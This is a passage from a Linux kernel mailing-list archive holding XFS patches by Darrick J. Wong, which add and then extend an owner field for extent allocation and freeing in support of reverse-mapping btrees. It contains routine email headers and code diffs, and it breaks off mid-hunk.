b/fs/xfs/libxfs/xfs_bmap.c index 8e2010d..d4c2c4a 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -567,10 +567,11 @@ xfs_bmap_validate_ret( */ void xfs_bmap_add_free( + struct xfs_mount *mp, /* mount point structure */ + struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ xfs_filblks_t len, /* length of extent */ - xfs_bmap_free_t *flist, /* list of extents */ - xfs_mount_t *mp) /* mount point structure */ + uint64_t owner) /* extent owner */ { xfs_bmap_free_item_t *cur; /* current (next) element */ xfs_bmap_free_item_t *new; /* new element */ @@ -591,9 +592,12 @@ xfs_bmap_add_free( ASSERT(agbno + len <= mp->m_sb.sb_agblocks); #endif ASSERT(xfs_bmap_free_item_zone != NULL); + ASSERT(owner); + new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); new->xbfi_startblock = bno; new->xbfi_blockcount = (xfs_extlen_t)len; + new->xbfi_owner = owner; for (prev = NULL, cur = flist->xbf_first; cur != NULL; prev = cur, cur = cur->xbfi_next) { @@ -696,7 +700,7 @@ xfs_bmap_btree_to_extents( cblock = XFS_BUF_TO_BLOCK(cbp); if ((error = xfs_btree_check_block(cur, cblock, 0, cbp))) return error; - xfs_bmap_add_free(cbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1, ip->i_ino); ip->i_d.di_nblocks--; xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_BCOUNT, -1L); xfs_trans_binval(tp, cbp); @@ -777,6 +781,7 @@ xfs_bmap_extents_to_btree( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = mp; + args.owner = ip->i_ino; args.firstblock = *firstblock; if (*firstblock == NULLFSBLOCK) { args.type = XFS_ALLOCTYPE_START_BNO; @@ -923,6 +928,7 @@ xfs_bmap_local_to_extents( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = ip->i_mount; + args.owner = ip->i_ino; args.firstblock = *firstblock; /* * Allocate a block. We know we need only one, since the @@ -3703,6 +3709,7 @@ xfs_bmap_btalloc( memset(&args, 0, sizeof(args)); args.tp = ap->tp; args.mp = mp; + args.owner = ap->ip->i_ino; args.fsbno = ap->blkno; /* Trim the allocation back to the maximum an AG can fit. */ @@ -4977,8 +4984,8 @@ xfs_bmap_del_extent( * If we need to, add to list of extents to delete. */ if (do_fx) - xfs_bmap_add_free(del->br_startblock, del->br_blockcount, flist, - mp); + xfs_bmap_add_free(mp, flist, del->br_startblock, + del->br_blockcount, ip->i_ino); /* * Adjust inode # blocks in the file. */ diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h index 6aaa0c1..674819f 100644 --- a/fs/xfs/libxfs/xfs_bmap.h +++ b/fs/xfs/libxfs/xfs_bmap.h @@ -66,6 +66,7 @@ typedef struct xfs_bmap_free_item { xfs_fsblock_t xbfi_startblock;/* starting fs block number */ xfs_extlen_t xbfi_blockcount;/* number of blocks in extent */ + uint64_t xbfi_owner; /* extent owner */ struct xfs_bmap_free_item *xbfi_next; /* link to next entry */ } xfs_bmap_free_item_t; @@ -182,8 +183,8 @@ void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int xfs_bmap_add_attrfork(struct xfs_inode *ip, int size, int rsvd); void xfs_bmap_local_to_extents_empty(struct xfs_inode *ip, int whichfork); -void xfs_bmap_add_free(xfs_fsblock_t bno, xfs_filblks_t len, - struct xfs_bmap_free *flist, struct xfs_mount *mp); +void xfs_bmap_add_free(struct xfs_mount *mp, struct xfs_bmap_free *flist, + xfs_fsblock_t bno, xfs_filblks_t len, uint64_t owner); void xfs_bmap_cancel(struct xfs_bmap_free *flist); int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, int *committed); diff --git a/fs/xfs/libxfs/xfs_bmap_btree.c b/fs/xfs/libxfs/xfs_bmap_btree.c index 6b0cf65..fcbbbef 100644 --- a/fs/xfs/libxfs/xfs_bmap_btree.c +++ b/fs/xfs/libxfs/xfs_bmap_btree.c @@ -446,6 +446,7 @@ xfs_bmbt_alloc_block( args.mp = cur->bc_mp; args.fsbno = cur->bc_private.b.firstblock; args.firstblock = args.fsbno; + args.owner = cur->bc_private.b.ip->i_ino; if (args.fsbno == NULLFSBLOCK) { args.fsbno = be64_to_cpu(start->l); @@ -526,7 +527,7 @@ xfs_bmbt_free_block( struct xfs_trans *tp = cur->bc_tp; xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); - xfs_bmap_add_free(fsbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1, ip->i_ino); ip->i_d.di_nblocks--; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index a926134..b1e11ba 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1304,6 +1304,22 @@ typedef __be32 xfs_inobt_ptr_t; */ #define XFS_RMAP_CRC_MAGIC 0x524d4233 /* 'RMB3' */ +/* + * Special owner types. + * + * Seeing as we only support up to 8EB, we have the upper bit of the owner field + * to tell us we have a special owner value. We use these for static metadata + * allocated at mkfs/growfs time, as well as for freespace management metadata. + */ +#define XFS_RMAP_OWN_NULL (-1ULL) /* No owner, for growfs */ +#define XFS_RMAP_OWN_UNKNOWN (-2ULL) /* Unknown owner, for EFI recovery */ +#define XFS_RMAP_OWN_FS (-3ULL) /* static fs metadata */ +#define XFS_RMAP_OWN_LOG (-4ULL) /* static fs metadata */ +#define XFS_RMAP_OWN_AG (-5ULL) /* AG freespace btree blocks */ +#define XFS_RMAP_OWN_INOBT (-6ULL) /* Inode btree blocks */ +#define XFS_RMAP_OWN_INODES (-7ULL) /* Inode chunk */ +#define XFS_RMAP_OWN_MIN (-8ULL) /* guard */ + #define XFS_RMAP_BLOCK(mp) \ (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ XFS_FIBT_BLOCK(mp) + 1 : \ diff --git a/fs/xfs/libxfs/xfs_ialloc.c b/fs/xfs/libxfs/xfs_ialloc.c index 54deb2d..ed91eb5 100644 --- a/fs/xfs/libxfs/xfs_ialloc.c +++ b/fs/xfs/libxfs/xfs_ialloc.c @@ -613,6 +613,7 @@ xfs_ialloc_ag_alloc( args.tp = tp; args.mp = tp->t_mountp; args.fsbno = NULLFSBLOCK; + args.owner = XFS_RMAP_OWN_INODES; #ifdef DEBUG /* randomly do sparse inode allocations */ @@ -1827,9 +1828,8 @@ xfs_difree_inode_chunk( if (!xfs_inobt_issparse(rec->ir_holemask)) { /* not sparse, calculate extent info directly */ - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, - XFS_AGINO_TO_AGBNO(mp, rec->ir_startino)), - mp->m_ialloc_blks, flist, mp); + xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, sagbno), + mp->m_ialloc_blks, XFS_RMAP_OWN_INODES); return; } @@ -1872,8 +1872,8 @@ xfs_difree_inode_chunk( ASSERT(agbno % mp->m_sb.sb_spino_align == 0); ASSERT(contigblk % mp->m_sb.sb_spino_align == 0); - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, agno, agbno), contigblk, - flist, mp); + xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, agbno), + contigblk, XFS_RMAP_OWN_INODES); /* reset range to current bit and carry on... */ startidx = endidx = nextbit; diff --git a/fs/xfs/libxfs/xfs_ialloc_btree.c b/fs/xfs/libxfs/xfs_ialloc_btree.c index f39b285..445245f 100644 --- a/fs/xfs/libxfs/xfs_ialloc_btree.c +++ b/fs/xfs/libxfs/xfs_ialloc_btree.c @@ -96,6 +96,7 @@ xfs_inobt_alloc_block( memset(&args, 0, sizeof(args)); args.tp = cur->bc_tp; args.mp = cur->bc_mp; + args.owner = XFS_RMAP_OWN_INOBT; args.fsbno = XFS_AGB_TO_FSB(args.mp, cur->bc_private.a.agno, sbno); args.minlen = 1; args.maxlen = 1; @@ -129,7 +130,7 @@ xfs_inobt_free_block( int error; fsbno = XFS_DADDR_TO_FSB(cur->bc_mp, XFS_BUF_ADDR(bp)); - error = xfs_free_extent(cur->bc_tp, fsbno, 1); + error = xfs_free_extent(cur->bc_tp, fsbno, 1, XFS_RMAP_OWN_INOBT); if (error) return error; diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 3bf4ad0..f1081de 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -122,7 +122,8 @@ xfs_bmap_finish( next = free->xbfi_next; error = xfs_trans_free_extent(*tp, efd, free->xbfi_startblock, - free->xbfi_blockcount); + free->xbfi_blockcount, + free->xbfi_owner); if (error) return error; diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 32e24ec..5711700 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -466,14 +466,19 @@ xfs_growfs_data_private( be32_to_cpu(agi->agi_length)); xfs_alloc_log_agf(tp, bp, XFS_AGF_LENGTH); + /* * Free the new space. + * + * XFS_RMAP_OWN_NULL is used here to tell the rmap btree that + * this doesn't actually exist in the rmap btree. */ - error = xfs_free_extent(tp, XFS_AGB_TO_FSB(mp, agno, - be32_to_cpu(agf->agf_length) - new), new); - if (error) { + error = xfs_free_extent(tp, + XFS_AGB_TO_FSB(mp, agno, + be32_to_cpu(agf->agf_length) - new), + new, XFS_RMAP_OWN_NULL); + if (error) goto error0; - } } /* diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 512a094..242ed5d 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3821,7 +3821,8 @@ xlog_recover_process_efi( for (i = 0; i < efip->efi_format.efi_nextents; i++) { extp = &(efip->efi_format.efi_extents[i]); error = xfs_trans_free_extent(tp, efdp, extp->ext_start, - extp->ext_len); + extp->ext_len, + XFS_RMAP_OWN_UNKNOWN); if (error) goto abort_error; diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 4643070..ee277fa 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -222,7 +222,7 @@ struct xfs_efd_log_item *xfs_trans_get_efd(xfs_trans_t *, uint); int xfs_trans_free_extent(struct xfs_trans *, struct xfs_efd_log_item *, xfs_fsblock_t, - xfs_extlen_t); + xfs_extlen_t, uint64_t); int xfs_trans_commit(struct xfs_trans *); int __xfs_trans_roll(struct xfs_trans **, struct xfs_inode *, int *); int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); diff --git a/fs/xfs/xfs_trans_extfree.c b/fs/xfs/xfs_trans_extfree.c index a96ae54..1b7d6d5 100644 --- a/fs/xfs/xfs_trans_extfree.c +++ b/fs/xfs/xfs_trans_extfree.c @@ -118,13 +118,14 @@ xfs_trans_free_extent( struct xfs_trans *tp, struct xfs_efd_log_item *efdp, xfs_fsblock_t start_block, - xfs_extlen_t ext_len) + xfs_extlen_t ext_len, + uint64_t owner) { uint next_extent; struct xfs_extent *extp; int error; - error = xfs_free_extent(tp, start_block, ext_len); + error = xfs_free_extent(tp, start_block, ext_len, owner); /* * Mark the transaction dirty, even on error. This ensures the From darrick.wong@oracle.com Tue Oct 6 23:55:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A8AB47F37 for ; Tue, 6 Oct 2015 23:55:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 99843304032 for ; Tue, 6 Oct 2015 21:55:43 -0700 (PDT) X-ASG-Debug-ID: 1444193739-04cbb03f120d4a0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id EuRQ144OEavnfo4X (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:40 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974tcbB010074 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:39 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974tYw2024364 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:36 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974tYTX020774; Wed, 7 Oct 2015 04:55:34 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:34 -0700 Subject: [PATCH 07/58] xfs: add extended owner field to extent allocation and freeing From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 07/58] xfs: add extended owner field to extent allocation and freeing To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:55:33 -0700 Message-ID: <20151007045532.30457.93731.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193740 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Extend the owner field to include both the owner type and some sort of index within the owner. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc.c | 11 +++++---- fs/xfs/libxfs/xfs_alloc.h | 4 ++- fs/xfs/libxfs/xfs_bmap.c | 20 +++++++++------- fs/xfs/libxfs/xfs_bmap.h | 5 ++-- fs/xfs/libxfs/xfs_bmap_btree.c | 7 ++++- fs/xfs/libxfs/xfs_format.h | 49 ++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_ialloc.c | 8 ++++-- fs/xfs/libxfs/xfs_ialloc_btree.c | 6 +++-- fs/xfs/xfs_bmap_util.c | 2 +- fs/xfs/xfs_fsops.c | 5 +++- fs/xfs/xfs_log_recover.c | 4 ++- fs/xfs/xfs_trans.h | 2 +- fs/xfs/xfs_trans_extfree.c | 4 ++- 13 files changed, 97 insertions(+), 30 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index af570ce..44db7b1 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -1592,7 +1592,7 @@ xfs_free_ag_extent( xfs_agnumber_t agno, /* allocation group number */ xfs_agblock_t bno, /* starting block number */ xfs_extlen_t len, /* length of extent */ - uint64_t owner, /* extent owner */ + struct xfs_owner_info *oinfo, /* extent owner */ int isfl) /* set if is freelist blocks - no sb acctg */ { xfs_btree_cur_t *bno_cur; /* cursor for by-block btree */ @@ -2013,6 +2013,7 @@ xfs_alloc_fix_freelist( * back on the free list? Maybe we should only do this when space is * getting low or the AGFL is more than half full? */ + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); while (pag->pagf_flcount > need) { struct xfs_buf *bp; @@ -2020,7 +2021,7 @@ xfs_alloc_fix_freelist( if (error) goto out_agbp_relse; error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, - XFS_RMAP_OWN_AG, 1); + &targs.oinfo, 1); if (error) goto out_agbp_relse; bp = xfs_btree_get_bufs(mp, tp, args->agno, bno, 0); @@ -2030,7 +2031,7 @@ xfs_alloc_fix_freelist( memset(&targs, 0, sizeof(targs)); targs.tp = tp; targs.mp = mp; - targs.owner = XFS_RMAP_OWN_AG; + XFS_RMAP_AG_OWNER(&targs.oinfo, XFS_RMAP_OWN_AG); targs.agbp = agbp; targs.agno = args->agno; targs.alignment = targs.minlen = targs.prod = targs.isfl = 1; @@ -2672,7 +2673,7 @@ xfs_free_extent( xfs_trans_t *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ xfs_extlen_t len, /* length of extent */ - uint64_t owner) /* extent owner */ + struct xfs_owner_info *oinfo) /* extent owner */ { xfs_alloc_arg_t args; int error; @@ -2709,7 +2710,7 @@ xfs_free_extent( } error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, - len, owner, 0); + len, oinfo, 0); if (!error) xfs_extent_busy_insert(tp, args.agno, args.agbno, len, 0); error0: diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index cff44e0..95b161f 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -122,7 +122,7 @@ typedef struct xfs_alloc_arg { char isfl; /* set if is freelist blocks - !acctg */ char userdata; /* set if this is user data */ xfs_fsblock_t firstblock; /* io first block allocated */ - uint64_t owner; /* owner of blocks being allocated */ + struct xfs_owner_info oinfo; /* owner of blocks being allocated */ } xfs_alloc_arg_t; /* @@ -210,7 +210,7 @@ xfs_free_extent( struct xfs_trans *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ xfs_extlen_t len, /* length of extent */ - uint64_t owner); /* extent owner */ + struct xfs_owner_info *oinfo); /* extent owner */ int /* error */ xfs_alloc_lookup_le( diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index d4c2c4a..fef3767 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -571,7 +571,7 @@ xfs_bmap_add_free( struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ xfs_filblks_t len, /* length of extent */ - uint64_t owner) /* extent owner */ + struct xfs_owner_info *oinfo) /* extent owner */ { xfs_bmap_free_item_t *cur; /* current (next) element */ xfs_bmap_free_item_t *new; /* new element */ @@ -592,12 +592,14 @@ xfs_bmap_add_free( ASSERT(agbno + len <= mp->m_sb.sb_agblocks); #endif ASSERT(xfs_bmap_free_item_zone != NULL); - ASSERT(owner); new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); new->xbfi_startblock = bno; new->xbfi_blockcount = (xfs_extlen_t)len; - new->xbfi_owner = owner; + if (oinfo) + memcpy(&new->xbfi_oinfo, oinfo, sizeof(struct xfs_owner_info)); + else + memset(&new->xbfi_oinfo, 0, sizeof(struct xfs_owner_info)); for (prev = NULL, cur = flist->xbf_first; cur != NULL; prev = cur, cur = cur->xbfi_next) { @@ -677,6 +679,7 @@ xfs_bmap_btree_to_extents( xfs_mount_t *mp; /* mount point structure */ __be64 *pp; /* ptr to block address */ struct xfs_btree_block *rblock;/* root btree block */ + struct xfs_owner_info oinfo; mp = ip->i_mount; ifp = XFS_IFORK_PTR(ip, whichfork); @@ -700,7 +703,8 @@ xfs_bmap_btree_to_extents( cblock = XFS_BUF_TO_BLOCK(cbp); if ((error = xfs_btree_check_block(cur, cblock, 0, cbp))) return error; - xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1, ip->i_ino); + XFS_RMAP_INO_BMBT_OWNER(&oinfo, ip->i_ino, whichfork); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1, &oinfo); ip->i_d.di_nblocks--; xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_BCOUNT, -1L); xfs_trans_binval(tp, cbp); @@ -781,7 +785,7 @@ xfs_bmap_extents_to_btree( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = mp; - args.owner = ip->i_ino; + XFS_RMAP_INO_BMBT_OWNER(&args.oinfo, ip->i_ino, whichfork); args.firstblock = *firstblock; if (*firstblock == NULLFSBLOCK) { args.type = XFS_ALLOCTYPE_START_BNO; @@ -928,7 +932,7 @@ xfs_bmap_local_to_extents( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = ip->i_mount; - args.owner = ip->i_ino; + XFS_RMAP_INO_OWNER(&args.oinfo, ip->i_ino, whichfork, 0); args.firstblock = *firstblock; /* * Allocate a block. We know we need only one, since the @@ -3709,7 +3713,6 @@ xfs_bmap_btalloc( memset(&args, 0, sizeof(args)); args.tp = ap->tp; args.mp = mp; - args.owner = ap->ip->i_ino; args.fsbno = ap->blkno; /* Trim the allocation back to the maximum an AG can fit. */ @@ -4799,6 +4802,7 @@ xfs_bmap_del_extent( nblks = 0; do_fx = 0; } + /* * Set flag value to use in switch statement. * Left-contig is 2, right-contig is 1. @@ -4985,7 +4989,7 @@ xfs_bmap_del_extent( */ if (do_fx) xfs_bmap_add_free(mp, flist, del->br_startblock, - del->br_blockcount, ip->i_ino); + del->br_blockcount, NULL); /* * Adjust inode # blocks in the file. */ diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h index 674819f..89fa3dd 100644 --- a/fs/xfs/libxfs/xfs_bmap.h +++ b/fs/xfs/libxfs/xfs_bmap.h @@ -66,7 +66,7 @@ typedef struct xfs_bmap_free_item { xfs_fsblock_t xbfi_startblock;/* starting fs block number */ xfs_extlen_t xbfi_blockcount;/* number of blocks in extent */ - uint64_t xbfi_owner; /* extent owner */ + struct xfs_owner_info xbfi_oinfo; /* extent owner */ struct xfs_bmap_free_item *xbfi_next; /* link to next entry */ } xfs_bmap_free_item_t; @@ -184,7 +184,8 @@ void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int xfs_bmap_add_attrfork(struct xfs_inode *ip, int size, int rsvd); void xfs_bmap_local_to_extents_empty(struct xfs_inode *ip, int whichfork); void xfs_bmap_add_free(struct xfs_mount *mp, struct xfs_bmap_free *flist, - xfs_fsblock_t bno, xfs_filblks_t len, uint64_t owner); + xfs_fsblock_t bno, xfs_filblks_t len, + struct xfs_owner_info *oinfo); void xfs_bmap_cancel(struct xfs_bmap_free *flist); int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, int *committed); diff --git a/fs/xfs/libxfs/xfs_bmap_btree.c b/fs/xfs/libxfs/xfs_bmap_btree.c index fcbbbef..1035128 100644 --- a/fs/xfs/libxfs/xfs_bmap_btree.c +++ b/fs/xfs/libxfs/xfs_bmap_btree.c @@ -446,7 +446,8 @@ xfs_bmbt_alloc_block( args.mp = cur->bc_mp; args.fsbno = cur->bc_private.b.firstblock; args.firstblock = args.fsbno; - args.owner = cur->bc_private.b.ip->i_ino; + XFS_RMAP_INO_BMBT_OWNER(&args.oinfo, cur->bc_private.b.ip->i_ino, + cur->bc_private.b.whichfork); if (args.fsbno == NULLFSBLOCK) { args.fsbno = be64_to_cpu(start->l); @@ -526,8 +527,10 @@ xfs_bmbt_free_block( struct xfs_inode *ip = cur->bc_private.b.ip; struct xfs_trans *tp = cur->bc_tp; xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); + struct xfs_owner_info oinfo; - xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1, ip->i_ino); + XFS_RMAP_INO_BMBT_OWNER(&oinfo, ip->i_ino, cur->bc_private.b.whichfork); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1, &oinfo); ip->i_d.di_nblocks--; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index b1e11ba..0c89c87 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1305,6 +1305,55 @@ typedef __be32 xfs_inobt_ptr_t; #define XFS_RMAP_CRC_MAGIC 0x524d4233 /* 'RMB3' */ /* + * Ownership info for an extent. This is used to create reverse-mapping + * entries. + */ +#define XFS_RMAP_INO_ATTR_FORK (1) +#define XFS_RMAP_BMBT_BLOCK (2) +struct xfs_owner_info { + uint64_t oi_owner; + xfs_fileoff_t oi_offset; + unsigned int oi_flags; +}; + +static inline void +XFS_RMAP_AG_OWNER( + struct xfs_owner_info *oi, + uint64_t owner) +{ + oi->oi_owner = owner; + oi->oi_offset = 0; + oi->oi_flags = 0; +} + +static inline void +XFS_RMAP_INO_BMBT_OWNER( + struct xfs_owner_info *oi, + xfs_ino_t ino, + int whichfork) +{ + oi->oi_owner = ino; + oi->oi_offset = 0; + oi->oi_flags = XFS_RMAP_BMBT_BLOCK; + if (whichfork == XFS_ATTR_FORK) + oi->oi_flags |= XFS_RMAP_INO_ATTR_FORK; +} + +static inline void +XFS_RMAP_INO_OWNER( + struct xfs_owner_info *oi, + xfs_ino_t ino, + int whichfork, + xfs_fileoff_t offset) +{ + oi->oi_owner = ino; + oi->oi_offset = offset; + oi->oi_flags = 0; + if (whichfork == XFS_ATTR_FORK) + oi->oi_flags |= XFS_RMAP_INO_ATTR_FORK; +} + +/* * Special owner types. * * Seeing as we only support up to 8EB, we have the upper bit of the owner field diff --git a/fs/xfs/libxfs/xfs_ialloc.c b/fs/xfs/libxfs/xfs_ialloc.c index ed91eb5..8f28256 100644 --- a/fs/xfs/libxfs/xfs_ialloc.c +++ b/fs/xfs/libxfs/xfs_ialloc.c @@ -613,7 +613,7 @@ xfs_ialloc_ag_alloc( args.tp = tp; args.mp = tp->t_mountp; args.fsbno = NULLFSBLOCK; - args.owner = XFS_RMAP_OWN_INODES; + XFS_RMAP_AG_OWNER(&args.oinfo, XFS_RMAP_OWN_INODES); #ifdef DEBUG /* randomly do sparse inode allocations */ @@ -1824,12 +1824,14 @@ xfs_difree_inode_chunk( int nextbit; xfs_agblock_t agbno; int contigblk; + struct xfs_owner_info oinfo; DECLARE_BITMAP(holemask, XFS_INOBT_HOLEMASK_BITS); + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_INODES); if (!xfs_inobt_issparse(rec->ir_holemask)) { /* not sparse, calculate extent info directly */ xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, sagbno), - mp->m_ialloc_blks, XFS_RMAP_OWN_INODES); + mp->m_ialloc_blks, &oinfo); return; } @@ -1873,7 +1875,7 @@ xfs_difree_inode_chunk( ASSERT(agbno % mp->m_sb.sb_spino_align == 0); ASSERT(contigblk % mp->m_sb.sb_spino_align == 0); xfs_bmap_add_free(mp, flist, XFS_AGB_TO_FSB(mp, agno, agbno), - contigblk, XFS_RMAP_OWN_INODES); + contigblk, &oinfo); /* reset range to current bit and carry on... */ startidx = endidx = nextbit; diff --git a/fs/xfs/libxfs/xfs_ialloc_btree.c b/fs/xfs/libxfs/xfs_ialloc_btree.c index 445245f..bd8a1da 100644 --- a/fs/xfs/libxfs/xfs_ialloc_btree.c +++ b/fs/xfs/libxfs/xfs_ialloc_btree.c @@ -96,7 +96,7 @@ xfs_inobt_alloc_block( memset(&args, 0, sizeof(args)); args.tp = cur->bc_tp; args.mp = cur->bc_mp; - args.owner = XFS_RMAP_OWN_INOBT; + XFS_RMAP_AG_OWNER(&args.oinfo, XFS_RMAP_OWN_INOBT); args.fsbno = XFS_AGB_TO_FSB(args.mp, cur->bc_private.a.agno, sbno); args.minlen = 1; args.maxlen = 1; @@ -128,9 +128,11 @@ xfs_inobt_free_block( { xfs_fsblock_t fsbno; int error; + struct xfs_owner_info oinfo; + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_INOBT); fsbno = XFS_DADDR_TO_FSB(cur->bc_mp, XFS_BUF_ADDR(bp)); - error = xfs_free_extent(cur->bc_tp, fsbno, 1, XFS_RMAP_OWN_INOBT); + error = xfs_free_extent(cur->bc_tp, fsbno, 1, &oinfo); if (error) return error; diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index f1081de..8b2e505 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -123,7 +123,7 @@ xfs_bmap_finish( error = xfs_trans_free_extent(*tp, efd, free->xbfi_startblock, free->xbfi_blockcount, - free->xbfi_owner); + &free->xbfi_oinfo); if 